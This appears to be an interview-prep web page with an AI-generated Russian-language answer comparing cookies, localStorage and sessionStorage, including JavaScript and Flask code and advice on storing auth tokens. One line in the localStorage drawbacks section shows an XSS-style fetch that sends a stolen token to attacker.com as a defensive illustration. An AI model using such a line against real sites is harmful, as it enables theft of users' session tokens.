← Назад к вопросам

В чём разница между LocalStorage, SessionStorage, cookie?

1.0 Junior🔥 91 комментариев
#Другое

Комментарии (1)

🐱
claude-haiku-4.5PrepBro AI22 мар. 2026 г.(ред.)

Ответ сгенерирован нейросетью и может содержать ошибки

LocalStorage vs SessionStorage vs Cookie: подробное сравнение

Это три разных способа хранить данные на клиенте (в браузере), но они работают совершенно по-разному. Частая ошибка разработчиков — путать их и использовать неправильно.

Краткое сравнение

ПараметрCookieLocalStorageSessionStorage
Размер~4KB~5-10MB~5-10MB
Время жизниДо истечения срокаНавсегда (вручную)До закрытия вкладки
Отправляется на серверДа, автоматическиНетНет
Доступ из JSЕсли не HttpOnlyДаДа
HTTPS требуетсяТолько для SecureНетНет
РазделениеПо доменуПо доменуПо вкладке
XSS уязвимостьHttpOnly защищаетДа, уязвимаДа, уязвима
CSRF уязвимостьДаНетНет

1. Cookie

Что это

Cookie — это маленькие текстовые файлы (~4KB) которые браузер автоматически отправляет на сервер с каждым запросом.

Как работает

// Установка cookies (JavaScript)
document.cookie = "username=Alice; path=/; max-age=3600";

// Чтение cookies
console.log(document.cookie);

// Удаление (устанавливаем max-age=0)
document.cookie = "username=; max-age=0";
# Установка cookies (Python/Flask)
from flask import Flask, Response

app = Flask(__name__)

@app.route('/login')
def login():
    response = Response('Logged in')
    response.set_cookie(
        'username',
        'Alice',
        max_age=3600,     # 1 час
        httponly=True,    # JS не может получить доступ
        secure=True,      # Только HTTPS
        samesite='Strict' # CSRF защита
    )
    return response

Преимущества

// ✓ Автоматически отправляются на сервер
fetch('/api/users', {
    credentials: 'include'  // Отправляет cookies
});

// ✓ HttpOnly куки защищены от XSS
// document.cookie не видит HttpOnly куки

// ✓ SameSite флаг защищает от CSRF

Недостатки

// ✗ Маленький размер (только 4KB)
// ✗ Отправляется с каждым запросом (трафик)
// ✗ Требует корректной настройки для безопасности

Когда использовать

  • Аутентификация (JWT tokens, session ID)
  • Отслеживание пользователя (analytics)
  • Preferences (язык, тема)
  • CSRF токены

2. LocalStorage

Что это

LocalStorage — это хранилище данных (~5-10MB) на клиенте, которое сохраняется навечно (пока не удалишь вручную).

Как работает

// Запись в localStorage
localStorage.setItem('user_name', 'Alice');
localStorage.setItem('settings', JSON.stringify({
    theme: 'dark',
    language: 'ru'
}));

// Чтение
const name = localStorage.getItem('user_name');
const settings = JSON.parse(localStorage.getItem('settings'));

// Удаление
localStorage.removeItem('user_name');

// Очистить всё
localStorage.clear();

// Проверить размер
for (let i = 0; i < localStorage.length; i++) {
    console.log(localStorage.key(i));
}

Жизненный цикл

// localStorage сохраняется НАВЕЧНО
// Установили в понедельник
localStorage.setItem('token', 'abc123');

// Вторник
let token = localStorage.getItem('token');  // 'abc123' (всё ещё там!)

// Неделю спустя
token = localStorage.getItem('token');      // 'abc123' (всё ещё там!)

// Только вручную удалить
localStorage.removeItem('token');

Преимущества

// ✓ Большой размер (5-10MB)
const data = { /* мега-объект 1MB */ };
localStorage.setItem('cache', JSON.stringify(data));

// ✓ Сохраняется после перезагрузки
localStorage.setItem('theme', 'dark');
// ... пользователь закрывает браузер
// ... пользователь открывает браузер через неделю
const theme = localStorage.getItem('theme');  // 'dark'

// ✓ Не отправляется на сервер автоматически
// (экономим трафик)

Недостатки

// ✗ Уязвима для XSS
const token = localStorage.getItem('token');  // Вредоносный скрипт может украсть
fetch('https://attacker.com?token=' + token);

// ✗ Разделяется по домену (одинаковая для всех вкладок)
localStorage.setItem('token', '123');
// В другой вкладке
let token = localStorage.getItem('token');  // '123' (видна везде!)

// ✗ Нет автоматической очистки

Когда использовать

  • Кеш данных (список постов, результаты поиска)
  • Preferences пользователя (локальные настройки)
  • Draft'ы (сохранение незаконченных форм)
  • Оффлайн данные (для работы без интернета)

3. SessionStorage

Что это

SessionStorage — это похож на localStorage, но данные удаляются при закрытии вкладки/браузера.

Как работает

// Работает точно как localStorage
sessionStorage.setItem('page_state', '{ x: 100, y: 200 }');

const state = sessionStorage.getItem('page_state');

sessionStorage.removeItem('page_state');

sessionStorage.clear();

Жизненный цикл

// Вкладка 1: установили данные
sessionStorage.setItem('data', 'value1');

// Вкладка 2 (НОВАЯ ВКЛАДКА): другие данные
sessionStorage.setItem('data', 'value2');

// Вкладка 1: sessionStorage не видит value2
console.log(sessionStorage.getItem('data'));  // 'value1' (изолирована)

// Вкладка 2: видит только свои данные
console.log(sessionStorage.getItem('data'));  // 'value2'

// Закрыли вкладку 1: данные удаляются

Преимущества

// ✓ Автоматическая очистка при закрытии вкладки
sessionStorage.setItem('temp_data', 'value');
// Браузер закрывается
// Данные удалены автоматически

// ✓ Разделение по вкладкам (изолированность)
// Вкладка 1 не видит данные из вкладки 2

// ✓ Подходит для временных данных

Недостатки

// ✗ Данные теряются при закрытии вкладки
sessionStorage.setItem('settings', 'dark_theme');
// Вкладка закрыта
// Данные потеряны

// ✗ Уязвима для XSS (как localStorage)

Когда использовать

  • Временное состояние страницы (позиция скролла, фильтры)
  • Данные многошагового wizard'а
  • Временные переменные формы
  • Данные внутри сессии браузера

Практический пример: аутентификация

❌ НЕПРАВИЛЬНО: JWT в localStorage

// Уязвива для XSS!
const loginResponse = await fetch('/login', {...});
const { token } = await loginResponse.json();

localStorage.setItem('token', token);  // ПЛОХО!

// С этого момента вредоносный скрипт может украсть token

✓ ПРАВИЛЬНО: JWT в HttpOnly Cookie

# Backend
from flask import Flask, Response

@app.route('/login', methods=['POST'])
def login():
    token = create_jwt_token(user_id)
    
    response = Response(jsonify({'status': 'ok'}))
    response.set_cookie(
        'auth_token',
        token,
        httponly=True,      # JS не может получить
        secure=True,        # Только HTTPS
        samesite='Strict',  # CSRF защита
        max_age=3600        # 1 час
    )
    return response
// Frontend
fetch('/login', { credentials: 'include' });
// Token отправляется автоматически с каждым запросом

Практический пример: кешируем данные

// Функция получения данных с кешем
async function fetchWithCache(url) {
    // Проверяем localStorage
    const cached = localStorage.getItem(`cache_${url}`);
    
    if (cached) {
        const { data, timestamp } = JSON.parse(cached);
        
        // Если кеш свежий (менее 1 часа)
        if (Date.now() - timestamp < 3600000) {
            return data;
        }
    }
    
    // Если нет кеша, запрашиваем с сервера
    const response = await fetch(url);
    const data = await response.json();
    
    // Сохраняем в localStorage
    localStorage.setItem(`cache_${url}`, JSON.stringify({
        data,
        timestamp: Date.now()
    }));
    
    return data;
}

Практический пример: сохранение состояния формы

// Сохраняем состояние формы в sessionStorage (временно)
const form = document.getElementById('myForm');

form.addEventListener('input', (e) => {
    const formData = new FormData(form);
    const data = Object.fromEntries(formData);
    sessionStorage.setItem('formDraft', JSON.stringify(data));
});

// При загрузке страницы восстанавливаем
window.addEventListener('load', () => {
    const draft = sessionStorage.getItem('formDraft');
    if (draft) {
        const data = JSON.parse(draft);
        Object.entries(data).forEach(([key, value]) => {
            const field = form.elements[key];
            if (field) field.value = value;
        });
    }
});

// При отправке удаляем draft
form.addEventListener('submit', () => {
    sessionStorage.removeItem('formDraft');
});

Размер хранилища

// Проверить размер localStorage
function getLocalStorageSize() {
    let size = 0;
    for (let key in localStorage) {
        if (localStorage.hasOwnProperty(key)) {
            size += localStorage[key].length + key.length;
        }
    }
    return (size / 1024).toFixed(2) + ' KB';  // в KB
}

console.log(getLocalStorageSize());  // ~2.5 MB

Матрица: что использовать

┌─────────────────────┬──────────┬─────────────┬──────────────┐
│ Случай              │ Cookie   │ LocalStorage│SessionStorage│
├─────────────────────┼──────────┼─────────────┼──────────────┤
│ Аутентификация      │ ✓✓✓      │ ✗✗✗ (XSS)   │ ✗            │
│ Персональные данные │ ✓        │ ✓✓          │ ✓            │
│ Кеш страниц         │ ✗        │ ✓✓✓         │ ✓            │
│ Временные state     │ ✗        │ ✗           │ ✓✓✓          │
│ Analytics token     │ ✓✓       │ ✓           │ ✗            │
│ Оффлайн данные      │ ✗        │ ✓✓✓         │ ✗            │
│ CSRF защита         │ ✓✓✓      │ ✗           │ ✗            │
└─────────────────────┴──────────┴─────────────┴──────────────┘

Безопасность

// ❌ ОПАСНО в localStorage/sessionStorage
localStorage.setItem('api_key', 'secret_key_123');
localStorage.setItem('password_hash', 'hash');
localStorage.setItem('jwt_token', 'eyJhbGc...');

// ✓ БЕЗОПАСНО в HttpOnly Cookie
response.set_cookie('auth_token', token, httponly=True)

Заключение

Используй правильное хранилище:

  • Cookie → аутентификация и CSRF токены
  • LocalStorage → кеш и постоянные данные
  • SessionStorage → временное состояние в пределах сессии

Основное правило: никогда не храни секреты (токены, пароли) в localStorage или sessionStorage.

В чём разница между LocalStorage, SessionStorage, cookie? | PrepBro